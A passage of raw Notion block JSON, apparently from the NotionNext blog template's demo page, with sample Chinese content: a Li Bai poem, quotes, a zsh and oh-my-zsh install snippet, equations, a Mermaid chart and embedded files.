3a98c3-8978-40b5-9166-5cef30088d2a","5fef12d0-8a28-437c-8514-47243e565b19","182a922c-a77e-4465-a7bf-b6cd9bb8aa95","af988ade-cbe2-4091-b037-e8a39b7ef3fc","3206c63c-38c9-42a5-9829-1f8a39e6e0eb","c311a2ed-ff9b-41ef-8259-c5d55e7076f6","4748bbad-6dc8-4e84-ab43-96c076df3dd2","b8800b2b-162c-42fa-9302-c258941e9dbf","3f939f7e-4387-4bf1-9fb0-d1b17a08ec88","180fd5e9-cf79-432d-8d92-894d783e5e00","ecc94ae7-f9d8-4d24-bb4d-cf3cd8363c26","3fba972c-29f1-458a-a947-7d8aa18f79e6","7050f906-9255-4e76-840e-000da98df97d","eb25cdb8-697c-4b55-a556-e416f9ecdbfb","b4f0f638-f797-4040-9600-f5576c4520be","4038cfa4-b79f-4562-b5d8-9ed98addba56","c32fcf2f-d00c-4555-b1f9-1e0cecdf2956","3ccfd881-f68a-446b-b9e3-ad394ab9d36f","522cceae-719e-47fe-880a-29732a5e4ca5","150b9807-a36f-45eb-9892-d9f6a0f1db56","42ab1b80-3546-4a53-a9ca-bb98d854e4c3","fd0213c3-3749-4192-9153-a4ed99862478","0186f962-3e26-4d4c-94ac-91763ada0633","7d0286ac-a9d7-4830-af71-ef7b45c2f171","e4a4f952-60d5-4bb8-a96f-a835fe58bd3b","c994ab66-5436-4200-bc41-90a32ae0ee7e","e0c369fb-2c38-4e2d-b639-361bca715727","b2eef454-ef1f-4137-a256-ed8d7f28ca5d","75a4c9a0-0331-416b-86ac-184c365390a9","f7f5b64a-3ff6-47b3-947d-80f9e1704081","db08546f-0540-456c-9244-e258c16452c3","c06aaa31-3788-4ed1-b964-ad1ff77fe151","24d6c0a0-f4d3-44dd-b749-4f048b962bcd","58b92af2-69c7-4e70-b107-5b62363f7bf8","7a70e08b-725e-4db5-9f17-8dc53540f006","42e434d6-3a26-49f0-8405-04854616fc19","f862643d-1c2d-4678-9168-580da7e368dc","573fc380-fb6b-434b-897f-3510f4c57832"],"format":{"page_font":"serif","page_icon":"🗓️","page_cover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb","block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","copied_from_pointer":{"id":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"page_cover_position":0.5},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"}],"created_time":1705638991057,"last_edited_time":1705645088580,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"a6271da0-6b8f-47a3-9735-e8fa770f1d9f","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"6c2aad49-6a12-4775-914f-7ed36358eb32":{"value":{"id":"6c2aad49-6a12-4775-914f-7ed36358eb32","type":"header","properties":{"title":[["基本段落"]]},"format":{"copied_from_pointer":{"id":"446eafa5-f482-4ccf-8998-fbd1a51eee0b","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"446eafa5-f482-4ccf-8998-fbd1a51eee0b"}},"9b26bd9a-9a46-4d36-b995-bf4d3d58dd45":{"value":{"id":"9b26bd9a-9a46-4d36-b995-bf4d3d58dd45","type":"quote","properties":{"title":[["书中自有黄金屋,书中自有颜如玉"]]},"format":{"copied_from_pointer":{"id":"ce76391f-3f28-42d3-8646-8ff1eb705b92","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991041,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ce76391f-3f28-42d3-8646-8ff1eb705b92"}},"c2d6e2c5-296b-475c-b2d8-7723d212a732":{"value":{"id":"c2d6e2c5-296b-475c-b2d8-7723d212a732","type":"callout","properties":{"title":[["生活的意义并不是与他人争高下,而在于享受努力实现目标的过程,结果只是对自己行动的嘉奖。"]]},"format":{"page_icon":"💡","block_color":"gray_background","copied_from_pointer":{"id":"81283d86-5b13-4c77-a1cf-316bcd8e4152","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991037,"last_edited_time":1705638991037,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"81283d86-5b13-4c77-a1cf-316bcd8e4152"}},"f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a":{"value":{"id":"f0f6bef4-ecce-4a2f-a4c3-08d7582d4c2a","type":"sub_header","properties":{"title":[["将进酒",[["b"]]]]},"format":{"copied_from_pointer":{"id":"0c84d8d1-07c3-4969-90b2-03808c73c264","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"0c84d8d1-07c3-4969-90b2-03808c73c264"}},"9369db5e-52eb-4c76-8f20-ee3937c65109":{"value":{"id":"9369db5e-52eb-4c76-8f20-ee3937c65109","type":"text","properties":{"title":[["李白〔唐代〕"],["参考[1]",[["a","#a47eb4929c654ac4b8c895d00023a97e"]]]]},"format":{"copied_from_pointer":{"id":"99590d37-6a81-4349-a933-994d66be84a5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991039,"last_edited_time":1705638991039,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"99590d37-6a81-4349-a933-994d66be84a5"}},"f190aaaf-4ada-493b-bb58-bac82327317e":{"value":{"id":"f190aaaf-4ada-493b-bb58-bac82327317e","type":"text","properties":{"title":[["君不见黄河之水天上来,奔流到海不复回。\n君不见高堂明镜悲白发,朝如青丝暮成雪。\n人生得意须尽欢,莫使金樽空对月。\n天生我材必有用,千金散尽还复来。\n烹羊宰牛且为乐,会须一饮三百杯。\n岑夫子,丹丘生,将进酒,杯莫停。\n与君歌一曲,请君为我倾耳听。\n钟鼓馔玉不足贵,但愿长醉不愿醒。\n古来圣贤皆寂寞,惟有饮者留其名。\n陈王昔时宴平乐,斗酒十千恣欢谑。\n主人何为言少钱,径须沽取对君酌。\n五花马、千金裘,呼儿将出换美酒,与尔同销万古愁。"]]},"format":{"copied_from_pointer":{"id":"189c6309-f15e-47ad-a135-a14f36cda7e4","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991030,"last_edited_time":1705638991030,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"189c6309-f15e-47ad-a135-a14f36cda7e4"}},"41e02cef-9892-468d-a759-e74c41dfcd70":{"value":{"id":"41e02cef-9892-468d-a759-e74c41dfcd70","type":"bookmark","properties":{"link":[["https://tangly1024.com/"]],"title":[["TANGLY's BLOG | 记录思考、分享我的学习笔记"]],"description":[["记录思考、分享我的学习笔记"]]},"format":{"bookmark_icon":"https://tangly1024.com/favicon.ico","bookmark_cover":"https://images.unsplash.com/photo-1564419320603-628d868a193f?q=50\u0026fm=jpg\u0026fit=crop\u0026w=1920\u0026h=1600","copied_from_pointer":{"id":"3a5174d9-05b5-4b29-bdb7-9be20977e8af","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991032,"last_edited_time":1705638991032,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"3a5174d9-05b5-4b29-bdb7-9be20977e8af"}},"3ac4ec2f-1b75-41a4-8048-ee14e5549d21":{"value":{"id":"3ac4ec2f-1b75-41a4-8048-ee14e5549d21","type":"external_object_instance","format":{"integration_id":"cdc46cd9-f0e9-48fd-b3aa-18481098e29e","is_placeholder":true,"copied_from_pointer":{"id":"fdceaba7-a336-4c8d-b710-5e6ea3ed90ca","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"fdceaba7-a336-4c8d-b710-5e6ea3ed90ca"}},"266dce1b-2303-4514-aa52-2c946c8d8fba":{"value":{"id":"266dce1b-2303-4514-aa52-2c946c8d8fba","type":"header","properties":{"title":[["特殊段落"]]},"format":{"copied_from_pointer":{"id":"3d9836fa-6437-437e-8a01-a0a4f530979a","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991032,"last_edited_time":1705638991032,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"3d9836fa-6437-437e-8a01-a0a4f530979a"}},"3a8f1cf9-1509-4b97-93d7-aef56bcaf85a":{"value":{"id":"3a8f1cf9-1509-4b97-93d7-aef56bcaf85a","type":"sub_header","properties":{"title":[["1.代码"]]},"format":{"copied_from_pointer":{"id":"85dc9288-bc63-40ba-8251-03bbb07f61a7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"85dc9288-bc63-40ba-8251-03bbb07f61a7"}},"3afc4b4f-2afa-4732-b15c-70cb97502fba":{"value":{"id":"3afc4b4f-2afa-4732-b15c-70cb97502fba","type":"code","properties":{"title":[["# Bash 安装zsh\n$ sudo apt install zsh\n\n# 配置ohmyzsh\n$ sh -c \"$(curl -fsSL \u003chttps://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh\u003e)\"\n\n# 配置ohmyzsh插件\n# zsh-autosuggestions\n$ git clone git://github.com/zsh-users/zsh-autosuggestions $ZSH_CUSTOM/plugins/zsh-autosuggestions\n\n# zsh-syntax-highlighting\n$ git clone \u003chttps://github.com/zsh-users/zsh-syntax-highlighting.git\u003e ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting\n\n// 启用插件\n$ vim .zshrc\nplugins=(git z zsh-autosuggestions zsh-syntax-highlighting)"]],"language":[["Bash"]]},"format":{"code_wrap":false,"copied_from_pointer":{"id":"017adce7-b2bb-48dc-9398-edacd776dc25","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991028,"last_edited_time":1705638991028,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"017adce7-b2bb-48dc-9398-edacd776dc25"}},"58a2fe87-4e0c-40aa-baed-b99e677f4891":{"value":{"id":"58a2fe87-4e0c-40aa-baed-b99e677f4891","type":"toggle","properties":{"title":[["其他更多语言"]]},"content":["f993f0f3-96ef-436e-b3a6-2a32c9623c1c","dc053857-d6b6-4106-9819-6545884c39ee","063756cd-6ec1-4081-85e3-4b92832a9cb4","cb1f9529-7659-4836-902b-9d15084eaa0a","c7f0ee45-718e-4229-9f2f-b7c2fc7ad580","88676695-452c-49cb-9d9c-0711d2f1f4be","025fccd3-0e3c-4be1-85bb-1880edddeb65","4d19c930-9e8b-4fc5-b273-19717fe62e33"],"format":{"copied_from_pointer":{"id":"55f94688-f9a4-4713-bc50-cb81232974f3","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"55f94688-f9a4-4713-bc50-cb81232974f3"}},"abc36c13-25fc-4b0d-bda9-6b45a9d992bc":{"value":{"id":"abc36c13-25fc-4b0d-bda9-6b45a9d992bc","type":"sub_header","properties":{"title":[["2.公式"]]},"format":{"copied_from_pointer":{"id":"7de9f2bb-6e8b-4a0d-b126-62148de95bd5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991036,"last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"7de9f2bb-6e8b-4a0d-b126-62148de95bd5"}},"0d862f5f-f617-4972-a07f-c90da2679c24":{"value":{"id":"0d862f5f-f617-4972-a07f-c90da2679c24","type":"bulleted_list","properties":{"title":[["数学公式"]]},"content":["8c07082c-8cec-440e-bf4e-29bea61f9062","90932a5f-3a36-460b-8d7c-eced46b176b4"],"format":{"copied_from_pointer":{"id":"ab94ff2a-4201-4ef5-8db9-df5654521f11","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991040,"last_edited_time":1705638991040,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"ab94ff2a-4201-4ef5-8db9-df5654521f11"}},"8c07082c-8cec-440e-bf4e-29bea61f9062":{"value":{"id":"8c07082c-8cec-440e-bf4e-29bea61f9062","type":"equation","properties":{"title":[["f\\left(\\left[\\frac{1+\\{x, y\\}}{\\left(\\frac{x}{y}+\\frac{y}{x}\\right)(u+1)}+a\\right]^{3 / 2}\\right)\\tag{行标}"]]},"format":{"copied_from_pointer":{"id":"f73d2d76-f110-476f-ab07-4e49477068ed","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"0d862f5f-f617-4972-a07f-c90da2679c24","parent_table":"block","alive":true,"copied_from":"f73d2d76-f110-476f-ab07-4e49477068ed"}},"90932a5f-3a36-460b-8d7c-eced46b176b4":{"value":{"id":"90932a5f-3a36-460b-8d7c-eced46b176b4","type":"equation","properties":{"title":[["\\tau_{xy}=-\\tau_{yx}\\tau_{xz}=-\\tau_{zx}\\tau_{yz}=-\\tau{zy}"]]},"format":{"copied_from_pointer":{"id":"cf2118fe-22c9-4507-8013-18a96601b0d7","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991052,"last_edited_time":1705638991052,"parent_id":"0d862f5f-f617-4972-a07f-c90da2679c24","parent_table":"block","alive":true,"copied_from":"cf2118fe-22c9-4507-8013-18a96601b0d7"}},"2feae355-4a74-4b81-a318-b1cdaf3345b1":{"value":{"id":"2feae355-4a74-4b81-a318-b1cdaf3345b1","type":"bulleted_list","properties":{"title":[["化学方程"]]},"content":["75582ed8-5351-455f-9583-ce8806132569"],"format":{"copied_from_pointer":{"id":"42e4e244-fe02-46e3-9f72-33a2471dffa1","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991033,"last_edited_time":1705638991033,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"42e4e244-fe02-46e3-9f72-33a2471dffa1"}},"75582ed8-5351-455f-9583-ce8806132569":{"value":{"id":"75582ed8-5351-455f-9583-ce8806132569","type":"text","properties":{"title":[["⁍",[["e","\\ce{2H2O-\u003e2H2 + O2}\n"]]]]},"format":{"copied_from_pointer":{"id":"b7d89274-b359-4917-ac8a-ebc13295506f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991045,"last_edited_time":1705638991045,"parent_id":"2feae355-4a74-4b81-a318-b1cdaf3345b1","parent_table":"block","alive":true,"copied_from":"b7d89274-b359-4917-ac8a-ebc13295506f"}},"a625f064-b0f6-4744-b6b9-e40aaf12ffa9":{"value":{"id":"a625f064-b0f6-4744-b6b9-e40aaf12ffa9","type":"toggle","properties":{"title":[["其他更多公式"]]},"content":["583d808b-a380-4da7-a547-23a10d3fa5c8","7e94f6c0-5ab6-4778-9277-992fd5664f01","52d5a916-ab83-448a-9f42-1a7ef92b2e19","68c4d878-bb42-4e06-baa5-635a4f804e97","408dee57-e78b-4bff-b11d-dae0ffb56756"],"format":{"copied_from_pointer":{"id":"8d7fc19c-da47-4cad-a2c5-a6257de3e1c9","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991038,"last_edited_time":1705638991038,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"8d7fc19c-da47-4cad-a2c5-a6257de3e1c9"}},"d1de48bb-00c6-40ac-81df-d6fb0b784f36":{"value":{"id":"d1de48bb-00c6-40ac-81df-d6fb0b784f36","type":"sub_header","properties":{"title":[["3. 图表"]]},"format":{"copied_from_pointer":{"id":"32a7b6a9-e1ba-44a5-982f-a055f5b01366","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991031,"last_edited_time":1705638991031,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"32a7b6a9-e1ba-44a5-982f-a055f5b01366"}},"62a16f54-8d5e-41cc-a7a4-70f28d18bb2a":{"value":{"id":"62a16f54-8d5e-41cc-a7a4-70f28d18bb2a","type":"code","properties":{"title":[["graph LR;\n公司架构--\u003e商务\n公司架构--\u003e研发\n公司架构--\u003e设计\n公司架构--\u003e运营\n公司架构--\u003e产品"]],"caption":[["思维导图"]],"language":[["Mermaid"]]},"format":{"code_wrap":true,"copied_from_pointer":{"id":"f52fc1fa-7e9e-48dc-b48f-6b7d70e26535","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991043,"last_edited_time":1705638991043,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"f52fc1fa-7e9e-48dc-b48f-6b7d70e26535"}},"b87bd083-9175-48c6-adee-7a6e4e38b8cd":{"value":{"id":"b87bd083-9175-48c6-adee-7a6e4e38b8cd","type":"sub_header","properties":{"title":[["4. PDF嵌入"]]},"format":{"copied_from_pointer":{"id":"75cd9f28-82de-41f7-a5f2-af4e0055aaf1","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991036,"last_edited_time":1705638991036,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"75cd9f28-82de-41f7-a5f2-af4e0055aaf1"}},"51b6910d-e9cd-4a81-aae0-766883f9d904":{"value":{"id":"51b6910d-e9cd-4a81-aae0-766883f9d904","type":"pdf","properties":{"size":[["871.3KB"]],"title":[["tailwindcss.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Ffbdf623f-21ce-48a2-b8b6-152680ad6dfe%2Ftailwindcss.pdf?table=block\u0026id=51b6910d-e9cd-4a81-aae0-766883f9d904"]]},"format":{"block_width":708,"block_height":320,"block_full_width":false,"block_page_width":false,"copied_from_pointer":{"id":"7ded6839-18db-4e45-842d-c6422ad2513c","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":false},"created_time":1705638991037,"last_edited_time":1705638991037,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"7ded6839-18db-4e45-842d-c6422ad2513c","file_ids":["fbdf623f-21ce-48a2-b8b6-152680ad6dfe"]}},"b407262e-e839-4266-8acc-6e5829f928c9":{"value":{"id":"b407262e-e839-4266-8acc-6e5829f928c9","type":"sub_header","properties":{"title":[["5.下载附件"]]},"format":{"copied_from_pointer":{"id":"e0cc9e30-809d-4960-bdb2-efb857c24ec6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991042,"last_edited_time":1705638991042,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"e0cc9e30-809d-4960-bdb2-efb857c24ec6"}},"e289a4a8-54f9-47df-b1f1-5a5f778c93ab":{"value":{"id":"e289a4a8-54f9-47df-b1f1-5a5f778c93ab","type":"file","properties":{"size":[["469.5KB"]],"title":[["下载PDF附件.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Ffab11580-96c3-4230-90f6-05257f00fb0a%2F%25E6%25B5%258B%25E8%25AF%2595%25E5%25B5%258C%25E5%2585%25A5PDF.pdf?table=block\u0026id=e289a4a8-54f9-47df-b1f1-5a5f778c93ab"]]},"format":{"copied_from_pointer":{"id":"39802971-3009-4c34-a5ee-34c301fb022f","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991032,"last_edited_time":1705638991032,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"39802971-3009-4c34-a5ee-34c301fb022f","file_ids":["fab11580-96c3-4230-90f6-05257f00fb0a"]}},"b30997a8-63eb-4339-bfa3-5b06ef9bd842":{"value":{"id":"b30997a8-63eb-4339-bfa3-5b06ef9bd842","type":"file","properties":{"size":[["469.5KB"]],"title":[["下载PDF附件-2.pdf"]],"source":[["https://notion.so/signed/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2F69f6fdf6-9aab-485a-a73d-d5c0d3f324db%2F%25E4%25B8%258B%25E8%25BD%25BDPDF%25E9%2599%2584%25E4%25BB%25B6-2.pdf?table=block\u0026id=b30997a8-63eb-4339-bfa3-5b06ef9bd842"]]},"format":{"copied_from_pointer":{"id":"2ee611e4-e7d6-4b8f-839b-6219abc40ce6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991031,"last_edited_time":1705638991031,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"2ee611e4-e7d6-4b8f-839b-6219abc40ce6","file_ids":["69f6fdf6-9aab-485a-a73d-d5c0d3f324db"]}},"9c9075da-d8aa-4347-9bbb-b41a1c7fcc78":{"value":{"id":"9c9075da-d8aa-4347-9bbb-b41a1c7fcc78","type":"sub_header","properties":{"title":[["6. 照片集"]]},"format":{"copied_from_pointer":{"id":"46e00789-6d6a-4635-aac3-433bba79a5df","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"46e00789-6d6a-4635-aac3-433bba79a5df"}},"e57ed9a8-9c51-4b46-aa09-400d5154a42f":{"value":{"id":"e57ed9a8-9c51-4b46-aa09-400d5154a42f","type":"image","properties":{"size":[["825.6KB"]],"title":[["WX20201027-101530@2x.png"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c876828e-2768-4863-b6d3-ad97b32223d3/WX20201027-1015302x.png"]]},"format":{"block_width":624,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/c876828e-2768-4863-b6d3-ad97b32223d3/WX20201027-1015302x.png","block_full_width":false,"block_page_width":false,"block_aspect_ratio":1.020979020979021,"copied_from_pointer":{"id":"bdc4308c-7035-406b-a406-26c01d283858","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":true},"created_time":1705638991041,"last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"bdc4308c-7035-406b-a406-26c01d283858","file_ids":["c876828e-2768-4863-b6d3-ad97b32223d3"]}},"43181d65-d467-4bd5-a8cb-6942161eabd5":{"value":{"id":"43181d65-d467-4bd5-a8cb-6942161eabd5","type":"collection_view","view_ids":["6e8ea48d-0b5f-4f4c-af27-b043ce10ea6a"],"collection_id":"7b11173d-8924-4a09-8897-50956378c0fc","format":{"collection_pointer":{"id":"7b11173d-8924-4a09-8897-50956378c0fc","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"c7e030aa-217d-4855-a447-68f530b7a6f6","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991041,"last_edited_time":1705638991041,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"c7e030aa-217d-4855-a447-68f530b7a6f6"}},"eb3a98c3-8978-40b5-9166-5cef30088d2a":{"value":{"id":"eb3a98c3-8978-40b5-9166-5cef30088d2a","type":"sub_header","properties":{"title":[["7. 内嵌网页"]]},"format":{"copied_from_pointer":{"id":"488fe62e-a776-4240-85e9-5fba92d18513","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991034,"last_edited_time":1705638991034,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"488fe62e-a776-4240-85e9-5fba92d18513"}},"5fef12d0-8a28-437c-8514-47243e565b19":{"value":{"id":"5fef12d0-8a28-437c-8514-47243e565b19","type":"embed","properties":{"source":[["https://docs.tangly1024.com/zh"]],"description":[["一个使用 NextJS + Notion API 实现的,部署在 Vercel 上的静态博客系统。为Notion和所有创作者设计。 - GitHub - tangly1024/NotionNext: 一个使用 NextJS + Notion API 实现的,部署在 Vercel 上的静态博客系统。为Notion和所有创作者设计。"]]},"format":{"block_width":720,"block_height":486.99713134765625,"bookmark_icon":"https://github.com/favicon.ico","bookmark_cover":"https://opengraph.githubassets.com/7bc91fe7946837cac17c0a6b378f1a80cf14e6eae1e2f0c1dc0f6384826c66ad/tangly1024/NotionNext","display_source":"https://docs.tangly1024.com/zh","block_full_width":false,"block_page_width":true,"copied_from_pointer":{"id":"0262365a-23ff-471e-9d94-bd7bfa6bb9fe","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"},"block_preserve_scale":false},"created_time":1705638991029,"last_edited_time":1705638991029,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"0262365a-23ff-471e-9d94-bd7bfa6bb9fe"}},"182a922c-a77e-4465-a7bf-b6cd9bb8aa95":{"value":{"id":"182a922c-a77e-4465-a7bf-b6cd9bb8aa95","type":"text","properties":{"title":[["https://www.bilibili.com/video/BV1Qs411d7pd/?spm_id_from=333.337.search-card.all.click\u0026vd_source=39f78b1b8c48640556d1685e5f99a413",[["a","https://www.bilibili.com/video/BV1Qs411d7pd/?spm_id_from=333.337.search-card.all.click\u0026vd_source=39f78b1b8c48640556d1685e5f99a413"]]]]},"format":{"copied_from_pointer":{"id":"5e0d4e6a-2710-4814-bb7b-fdd1c0146ef5","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991035,"last_edited_time":1705638991035,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"5e0d4e6a-2710-4814-bb7b-fdd1c0146ef5"}},"af988ade-cbe2-4091-b037-e8a39b7ef3fc":{"value":{"id":"af988ade-cbe2-4091-b037-e8a39b7ef3fc","type":"sub_header","properties":{"title":[["5.代办"]]},"format":{"copied_from_pointer":{"id":"1fb0e452-7d3d-422a-a757-3959676eb0ba","table":"block","spaceId":"6c096b44-beb9-48ee-8f92-1efdde47f3a3"}},"created_time":1705638991031,"last_edited_by":"27074aef-7216-41ed-baef-d9b53addd870","last_edited_time":1705638991031,"parent_id":"d3216be6-1b27-40e7-8677-7404896b7eb6","parent_table":"block","alive":true,"copied_from":"1fb0e452-7d3d-422a-a757-3959676eb0ba